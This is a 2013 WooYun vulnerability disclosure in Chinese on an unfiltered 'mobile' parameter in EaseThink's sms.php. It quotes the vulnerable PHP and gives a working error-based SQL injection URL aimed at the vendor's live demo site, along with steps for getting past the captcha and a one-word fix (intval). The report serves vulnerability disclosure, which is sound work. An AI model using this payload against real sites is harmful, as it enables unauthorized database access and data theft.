当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-032002

漏洞标题：易想购物多某处SQL注入（官网可射）

相关厂商：易想购物

漏洞作者： saline

提交时间：2013-07-24 10:44

修复时间：2013-09-07 10:44

公开时间：2013-09-07 10:44

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-09-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

sms.php中对于手机号码未过滤即代入查询，造成SQL注入

详细说明：

if($_REQUEST['act']=='subscribe')
{
	$tmpl->display("sms_subscribe.html");
}
elseif($_REQUEST['act']=='do_subscribe')
{
	//开始发送验证码
	if(check_ipop_limit(get_client_ip(),"sms_send_code",intval(app_conf("SUBMIT_DELAY"))))
	{
		$mobile = trim($_REQUEST['mobile']);
		$verify = md5(trim($_REQUEST['verify']));
		$session_verify = $_SESSION['verify'];
		if($verify!=$session_verify)
		{
			$result['type'] = 0;
			$result['message'] = $GLOBALS['lang']['VERIFY_CODE_ERROR'];
			ajax_return($result);
		}
		
		$mobile_subscribe = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."mobile_list where mobile='".$mobile."'");


不注释了，一眼看出来没有任何过滤

漏洞证明：

利用方式：
1. http://demo.easethink.com/sms.php?act=subscribe获得验证码，将其拼接到下一步中的verify中。
2. http://demo.easethink.com/sms.php?act=do_subscribe&verify=8069&mobile=111'and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)%23

33.png

修复方案：

intval

版权声明：转载请注明来源 saline@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：13 (WooYun评价)